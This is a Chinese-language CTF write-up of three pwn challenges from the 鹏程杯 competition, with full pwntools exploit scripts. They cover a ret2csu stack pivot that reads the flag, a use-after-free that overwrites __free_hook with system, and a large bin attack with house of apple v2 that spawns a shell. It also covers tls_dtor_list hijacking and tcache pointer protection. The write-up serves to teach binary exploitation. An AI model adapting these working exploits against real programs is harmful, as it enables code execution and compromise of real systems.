鹏程杯

CTF PWN

调试时去除alarm函数:使用16进制编辑器,将所有的alarm改成 isnan

或者使用命令

1
sed -i s/alarm/isnan/g <二进制文件>

slient

开启PIE和NX保护,漏洞点是一个栈溢出。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[64]; // [rsp+10h] [rbp-40h] BYREF

init_seccomp(argc, argv, envp);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
read(0, buf, 0x100uLL);
return 0;
}

没有puts,write等可以进行泄露的函数。思路为将某些函数的got表读入bss段,使用ret2csu。

  • 读got表需要gadget至少存在可以修改地址内容片段,形如 mov [xxx], xxx 。用于取值,而且需要我们可以控制寄存器的内容
1
2
$ ROPgadget --binary silent
0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
  1. 栈溢出,使用ret2csu,向bss段读入ROP chain。
  2. 栈迁移,转到bss段的ROPchain执行
  • 使用magic 修改read_got 表内容为syscall
  • 泄露出libc_base
  • 继续read ROPchian,栈迁移执行ROPchain

需要注意

  • 取magic gadget中的ebx时,如果ebx的值为正,则直接取,如果为负,加0x100000000取补码
  • 控制rax,使用函数返回值是rax来控制
  • 栈迁移的重点是控制rsp,也可以使用 pop_rsp 直接控制。

最终的exp

  • 调试二三十次才明白,但是很快就会忘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/python3
from pwn import *

def s(data): return p.send(data)
def r(num=4096): return p.recv(num)
def ru(delim, drop=False): return p.recvuntil(delim, drop)
def itr(): return p.interactive()
def lg(name): return log.success(
'\033[32m%s ==> 0x%x\033[0m' % (name, eval(name)))

def uu64(): return u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
def dbg(p): gdb.attach(p)

file = 'silent_patched'

elf = ELF(file, checksec=False)
libc = elf.libc
context.binary = elf
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']

p = elf.process()

pop_rbp_ret = 0x0000000000400788
pop_rdi_ret = 0x0000000000400963
pop_rsi_r15_ret = 0x0000000000400961
ret = 0x0000000000400696
leave_ret = 0x0000000004008FC
pop_rsp_r13_r14_r15 = 0x000000000040095d
magic = 0x00000000004007e8

read_plt = elf.plt.read
read_got = elf.got.read

csu_front = 0x400940
csu_end = 0x40095A
bss = elf.bss()
stdout = 0x601020
main_addr = 0x0400878


'''
csu: 0, 1, call, rdi, rsi, rdx

.text:0000000000400940 4C 89 FA mov rdx, r15
.text:0000000000400943 4C 89 F6 mov rsi, r14
.text:0000000000400946 44 89 EF mov edi, r13d
.text:0000000000400949 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
.text:0000000000400949
.text:000000000040094D 48 83 C3 01 add rbx, 1
.text:0000000000400951 48 39 DD cmp rbp, rbx
.text:0000000000400954 75 EA jnz short loc_400940
.text:0000000000400954
.text:0000000000400956
.text:0000000000400956 loc_400956: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400956 48 83 C4 08 add rsp, 8
.text:000000000040095A 5B pop rbx
.text:000000000040095B 5D pop rbp
.text:000000000040095C 41 5C pop r12
.text:000000000040095E 41 5D pop r13
.text:0000000000400960 41 5E pop r14
.text:0000000000400962 41 5F pop r15
.text:0000000000400964 C3 retn
'''

p1 = cyclic(64 + 8)
p1 += flat([
csu_end, 0, 1, read_got, 0, bss+0x800, 0x400,
csu_front, 0, 0, bss+0x800, 0, 0, 0, 0,
leave_ret
])
s(p1)

# bss ROP chain
# 调用bss段的代码,然后最后 pop rbp 给rbp指定一个值,就是 stdout+0x3d
# 调用magic gadget ,[stdout] 内容
# 0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
'''
pwndbg> x/2xg &stdout
0x601020 <stdout@@GLIBC_2.2.5>: 0x00007fc4d7fec760 0x0000000000000000

pwndbg> p syscall
$1 = {<text variable, no debug info>} 0x7fc4d7d1b520 <syscall>

pwndbg> x/10wi 0x7fc4d7d1b520
0x7fc4d7d1b520 <syscall>: mov rax,rdi
0x7fc4d7d1b523 <syscall+3>: mov rdi,rsi
0x7fc4d7d1b526 <syscall+6>: mov rsi,rdx
0x7fc4d7d1b529 <syscall+9>: mov rdx,rcx
0x7fc4d7d1b52c <syscall+12>: mov r10,r8
0x7fc4d7d1b52f <syscall+15>: mov r8,r9
0x7fc4d7d1b532 <syscall+18>: mov r9,QWORD PTR [rsp+0x8]
0x7fc4d7d1b537 <syscall+23>: syscall
0x7fc4d7d1b539 <syscall+25>: cmp rax,0xfffffffffffff001
0x7fc4d7d1b53f <syscall+31>: jae 0x7fc4d7d1b542 <syscall+34>

pwndbg> p write
$2 = {<text variable, no debug info>} 0x7fc4d7d100f0 <write>
'''

p2 = flat([
stdout+0x3d, # rbp
csu_end, 0x100000000+0x7fc4d7d1b537-0x00007fc4d7fec760, stdout+0x3d, 0, 0, 0, 0,
magic, # 将stdout 改成syscall
csu_end, 0, 1, read_got, 0, bss+0x1000, 0x1, # 函数返回值为rax
csu_front, 0, 0, 1, stdout, 1, read_got, 8, # syscall (1, 1, read_got, 8)。
csu_front, 0, 0, 1, read_got, 0, bss+0x1000, 0x100, # 读入第二个ROPchian
csu_front, 0, 0, bss+0x1000, 0, 0, 0, 0,
leave_ret # 迁移到第二个bss_chain
])

dbg(p)
s(p2)
pause()
s(b"a")
leak = uu64()
libc.address = leak - libc.sym.read
lg("libc.address")
lg("bss")

open_addr = libc.sym['open']
write_addr = libc.sym['write']
read_addr = libc.sym['read']
flag_addr = bss+0x1000
pop_rdx_ret = libc.search(asm("pop rdx; ret")).__next__()
pop_rsi_ret = libc.search(asm("pop rsi; ret")).__next__()

rop_chian = flat([
b'flag\x00\x00\x00\x00', # 填充8字节
pop_rdi_ret, flag_addr, pop_rsi_ret, 0, open_addr,
pop_rdi_ret, 3, pop_rsi_ret, bss+0x400, pop_rdx_ret, 0x30, read_addr,
pop_rdi_ret, 1, pop_rsi_ret, bss+0x400, pop_rdx_ret, 0x30, write_addr,

])
pause()
s(rop_chian)
itr()

atuo_coffee_sale_machine

coffee_list: 存储咖啡信息。
两个coffee_left数组,分别是 user 和 admin,是一个 3*7 数组,id和position

user

  • 购买,输入id,按照pos顺序进行free
  • 查看,打印出 coffee_list 信息

admin

  • replenish:先更新admin coffee_list,然后更新 user coffee_left
  • change_default,输入id和pos更新内容,然后更新user coffee_left

存在两个问题,都可以进行泄露和 get shell

  • admin在 change_default 使,没有先进行update,直接read会导致uaf问题
  • 数组underflow,因为读入的id, pos 没有判断是否小于0。

exp如下

  • 由于change_default存在更新,容易导致double free 和 无法 replenish 的错误,我们需要中途更新一下admin coffee_left。(菜鸡的眼泪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/python3
from pwn import *

def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sla(delim, data): return p.sendlineafter(delim, data)
def ru(delim, drop=False): return p.recvuntil(delim, drop)
def itr(): return p.interactive()
def lg(name): return log.success(
'\033[32m%s ==> 0x%x\033[0m' % (name, eval(name)))
def uu64(): return u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
def itob(num): return str(num).encode()
def dbg(p): gdb.attach(p)


file = 'pwn_patched'

elf = ELF(file, checksec=False)
libc = elf.libc
context.binary = elf
context.log_level = 'INFO'
context.terminal = ['tmux', 'splitw', '-h']

p = elf.process()

def menu(cmd):
sla(b">>>", itob(cmd))

def buy(idx, con = ""):
menu(1)
sla(b"input the id of what coffee you want to buy", itob(idx))
p.sendlineafter(b"Do you want to add something?Y/N", b"Y")
p.sendlineafter(b"Ok,please input what you need in coffee", con)

def show():
menu(2)

def admin():
menu(0x1145)
sa(b"please input the admin password", b"just pwn it")

def quit_admin():
menu(3)

def replenish(id):
admin()
sla(b">>>", b"1")
sa(b"input the id you want to replenish", itob(id))
quit_admin()

def change_default(id, pos, con):
admin()
sla(b">>>", b"2")
sa(b"input the id you want to change", itob(id))
sa(b"input which coffee you want to change", itob(pos))
sa(b"input your content", con)
quit_admin()

free_got = elf.got.free
cofflist = 0x4062F0
stderr = 0x4062e0

for i in range(3):
buy(1)

replenish(2)

buy(1)
change_default(1, 4, p64(cofflist))
replenish(1)
replenish(1)
change_default(1, 2, p64(stderr))
show()
leak = uu64()
libc.address = leak - 0x1ed5c0
lg('libc.address')

for i in range(3):
buy(3)

replenish(2)

buy(3)
change_default(3, 4, p64(libc.sym.__free_hook))

replenish(3)
replenish(3)
change_default(3, 2, p64(libc.sym.system))

buy(3, b"/bin/sh\x00")

# dbg(p)

itr()

babyheap

出题人很好心的给出了一个堆地址,这样就可以在堆合并时,绕过unlink_chunk的assert

1
if (__builtin_expect(fd->bk != p || bk->fd != p, 0))

问题出现在 读取数据中,存在一个堆溢出写0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall read_con(char *ptr, int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
ptr[i] = buf;
}
ptr[i] = 0;
return v5 - __readfsqword(0x28u);
}

我们size的限制,这个大小的bin为 tcache, unsorted, large bin

1
size > 0x3FF && size <= 0x500

泄露出地址,large bin attack,使用house of apple 手段。

  • a-b-c,在a伪造一个堆,但是因为使用puts函数进行show,但是会存在\x00 截断问题,可以将a伪造成一个 free_chunk,并且会因为arena地址无法leak成功。因此需要堆风水一下,让large bin arena最后一字节不为0。
  • free b, a-b 合并,malloc d, a & d指向同一个chunk,就可以有类似uaf的效果。
  • large bin attack 的手段: free a, a放入largebin 里,利用d修改a的 bk_nextsizeio_list_all-0x20 ,释放一个比a size小的chunk e,将e放入large bin里。这样 io_list_all => heap a
  • house_of_apple:利用d修改a内容,伪造一个fake_io
  • 退出,IO流,并且此题没有沙箱

house of apple 的exp如下

  • 但是这是在我kali的glibc 2.37 下进行的,在libc2.38 patch后会因为arena最后一个字节为0而无法成功,😫,不想风水了
  • 最后凑一个 rdi/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/python3
from pwn import *

def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(num=4096): return p.recv(num)
def ru(delim, drop=False): return p.recvuntil(delim, drop)
def rl(): return p.recvline(timeout=1)
def itr(): return p.interactive()
def lg(name): return log.success(
'\033[32m%s ==> 0x%x\033[0m' % (name, eval(name)))

def uu64(): return u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
def itob(num): return str(num).encode()

def dbg(p):
gdb.attach(p)

file = 'babyheap'

elf = ELF(file, checksec=False)
libc = elf.libc
context.binary = elf
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']

p = elf.process()

def menu(cmd):
sla(b">>", itob(cmd))

def add(sz, con):
menu(1)
sla(b"input your name size", itob(sz))
sa(b"input your name", con)

def edit(idx, sz, con):
menu(2)
sla(b"input index", itob(idx))
sla(b"input your name size", itob(sz))
sa(b"input your name", con)

def show(idx):
menu(3)
sla(b"input index", itob(idx))

def delete(idx):
menu(4)
sla(b"input index", itob(idx))

ru(b"0x")
heap_addr = int(r(12),16)
heap_base = heap_addr - 0x2a0

add(0x4f8, b"a\n") # 0

add(0x418, b"a\n") # 1
add(0x4f8, b"a\n") # 2
add(0x418, b"a\n") # 3

add(0x428, b"a\n") # 4
add(0x4f8, b'a\n') # 5
add(0x448, b"a\n") # 6

payload = fit({
0x0: heap_base+0x2b0+0x500,
0x8: heap_base+0x2b0+0x500,
0x410: 0x420
}, filler = b"\x00")

edit(1, 0x418, payload)
delete(2)

show(1)
leak = uu64()
libc.address = leak - 0x1d3ce0

add(0x418, b"a\n") # 2
add(0x4f8, b"a\n") # 7


payload = fit({
0x0: heap_base+0xff0+0x500,
0x8: heap_base+0xff0+0x500,
0x420: 0x430
}, filler = b"\x00")
edit(4, 0x428, payload)
delete(5)
add(0x428, b"a\n") # 5
add(0x4f8, b"a\n") # 8

# ## large bin attack => IO_list_all -> chunk0
delete(5)
add(0x4f8, b"a\n") # 5

payload = fit({
0x18: libc.sym._IO_list_all - 0x20,
}, filler = b"\x00")
edit(4, len(payload) + 1, payload + b"\n")

delete(2)
add(0x4f8, b"a\n") # 2

# # house of apple v2
fs = FileStructure()
fs.vtable = libc.sym._IO_wfile_jumps
# write_base < write_ptr
fs._IO_write_base = 0
fs._IO_write_ptr = 1
fs.chain = 0
# fs._lock = libc.sym._IO_stdfile_2_lock
# lock 检查
fs._lock = libc.address + 0x1d5a20
# # codecvt = ?
# fs._codecvt = ?
fs._wide_data = heap_base + 0xff0 + 0x500
payload = bytes(fs)[0x10:]
edit(1, len(payload) + 1, payload + b"\n")

wdata = fit({
0xe0-0x10: heap_base+0xff0+0xe0+0x10+0x500,
0xe0: {
0x68: libc.sym.system
}
}, filler=b"\x00")
edit(4, len(wdata) + 1, wdata + b"\n")

lg("heap_addr")
lg("heap_base")
lg("leak")
lg("libc.address")

payload = b"a" * 0x4f0 + b" sh;" # flag rdi
edit(0, len(payload), payload)

# dbg(p)
menu(5)

itr()

主要利用large bin leak,但是因为其可以使用tcache bin,看到了其他的利用手段

  • 最终tcache修改TLS,通过__call_tls_dtors函数实现system(“/bin/sh”)
  • IO leak 栈地址,然后跳转到栈上进行指向函数。

tls_dtor

一种比较简单的利用手段,正常情况下存在如下的调用链

1
2
3
exit
__run_exit_handlers
__call_tls_dtors

其函数实现如下

  • 一个全局变量是否存在
  • 找到其函数指针
  • PTR_DEMANGLE 计算函数地址
  • 调用函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
PTR_DEMANGLE (func);

tls_dtor_list = tls_dtor_list->next;
func (cur->obj);

/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
libc_hidden_def (__call_tls_dtors)

其结构体如下

1
2
3
4
5
6
7
8
9
10
typedef void (*dtor_func) (void *);

// destructor list
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};

PTR_DEMANGLE 这个宏计算函数地址

  • 循环右移0x11位
  • 与 pointer_guard 进行异或
1
2
# define PTR_DEMANGLE(reg)	ror $2*LP_SIZE+1, reg;			      \
xor %fs:POINTER_GUARD, reg

正常情况下,这个值为0,不会调用如下的函数

1
2
pwndbg> p tls_dtor_list
$1 = (struct dtor_list *) 0x0

因为这里没有什么检查,因此我们可以攻击这个值,让其指向我们伪造的一个 dtor_list 结构体。

  • func 首先获得地址,先于 pointer_guard 进行异或,然后在进行循环左移11位
  • obj 作为函数参数指针。

在汇编中

  • tls_dtor_list 也在 fs 附近
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> set tls_dtor_list=1   # 进入循环,寻找偏移


pwndbg> p $rbp
$4 = (void *) 0xffffffffffffffb0
pwndbg> p (long)$rbp
$5 = -80

0x7ffff7e02606 <__call_tls_dtors+6> mov rbp, qword ptr [rip + 0x194773]
0x7ffff7e0260d <__call_tls_dtors+13> mov rbx, qword ptr fs:[rbp]
0x7ffff7e02612 <__call_tls_dtors+18> test rbx, rbx # 这里就是tls_dtor_list 值
0x7ffff7e02615 <__call_tls_dtors+21> je __call_tls_dtors+94 <__call_tls_dtors+94>
0x7ffff7e02617 <__call_tls_dtors+23> nop word ptr [rax + rax]
► 0x7ffff7e02620 <__call_tls_dtors+32> mov rdx, qword ptr [rbx + 0x18] # next 指针
0x7ffff7e02624 <__call_tls_dtors+36> mov rax, qword ptr [rbx] # func
0x7ffff7e02627 <__call_tls_dtors+39> ror rax, 0x11 # 循环右移
0x7ffff7e0262b <__call_tls_dtors+43> xor rax, qword ptr fs:[0x30] # pointer_guard
0x7ffff7e02634 <__call_tls_dtors+52> mov qword ptr fs:[rbp], rdx
0x7ffff7e02639 <__call_tls_dtors+57> mov rdi, qword ptr [rbx + 8]

pwndbg> x/xg $fs_base+0x30
0x7ffff7dc1770: 0x851e64b26accf332

我们需要将伪造的结构体中函数地址进行一个移位运算

1
2
def rol(addr):
return ((addr << 0x11) & 0xffffffffffffffff) | (addr >> 0x2f)

一个小demo,来自 glibc2.35-通过tls_dtor_list劫持exit执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rotate_left(unsigned long long value, int left) {
return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}

int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_number;
void *system_ptr = (void *)&system;
printf("system:%p\n", system_ptr);
asm("mov %%fs:0, %0" : "=r"(fs_base));
printf("Value in FS register: 0x%llx\n", fs_base);
tls_dtor_list_addr = fs_base - 80;
random_number = *(unsigned long long *)(fs_base + 0x30);
char *str_bin_sh = malloc(0x20);
strcpy(str_bin_sh, "/bin/sh");
void *ptr = malloc(0x20);
*(unsigned long long *)ptr =
rotate_left((unsigned long long)system_ptr ^ random_number, 0x11);
*(unsigned long long *)(ptr + 8) = str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = ptr;
return 0;
}

在高版本 的 tcache bin attack 里也可以使用这个。

  • tcache fd 加密问题。

如下为 chunk 放入 tcache bin 相关的函数。

  • 因为 header 的存在,第一步将 chunk 转化成 tcache_entry
  • key 为一个随机数
  • next指针计算,next指针的地址右移12位,然后与 prev tcache bin 指针进行 xor 运算。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

typedef struct tcache_entry {
struct tcache_entry *next; // 常说的 fd 指针
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key; // 一个随机数,tcache_key_initialize (void) 生成

e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以做一个测试,查看tcache 的next指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000051
0x5555555592a0: 0x0000000555555559 0xa8d3bb0dc1ab0725
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
0x5555555592e0: 0x0000000000000000 0x0000000000000051
0x5555555592f0: 0x000055500000c7f9 0xa8d3bb0dc1ab0725
0x555555559300: 0x0000000000000000 0x0000000000000000
0x555555559310: 0x0000000000000000 0x0000000000000000
0x555555559320: 0x0000000000000000 0x0000000000000000

pwndbg> p/x (0x5555555592f0 >> 12) ^ 0x5555555592a0
$1 = 0x55500000c7f9

因此我们伪造fd。

1
(addr >> 12) ^ pos

参考